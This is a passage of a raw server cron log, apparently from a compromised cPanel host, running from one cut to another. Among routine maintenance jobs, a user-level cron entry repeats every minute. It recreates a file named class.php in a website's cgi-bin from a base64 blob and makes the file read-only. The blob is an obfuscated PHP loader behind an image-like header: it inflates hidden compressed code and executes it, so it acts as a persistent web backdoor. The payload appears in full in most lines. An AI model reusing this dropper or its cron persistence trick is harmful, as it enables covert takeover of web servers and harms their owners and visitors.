"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:44:01 server CROND[3455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:45:01 server CROND[3525]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 14:45:01 server CROND[3526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 14:45:01 server CROND[3527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:46:01 server CROND[3741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:47:01 server CROND[3816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:48:01 server CROND[3882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:49:01 server CROND[4013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:50:01 server CROND[4101]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 14:50:01 server CROND[4102]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 14:50:01 server CROND[4107]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 14:50:01 server CROND[4108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:50:01 server CROND[4106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 14:51:01 server CROND[4331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:52:01 server CROND[4390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:53:01 server CROND[4465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:54:01 server CROND[4536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:55:01 server CROND[4609]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 14:55:01 server CROND[4611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:55:01 server CROND[4612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 14:56:01 server CROND[4815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5t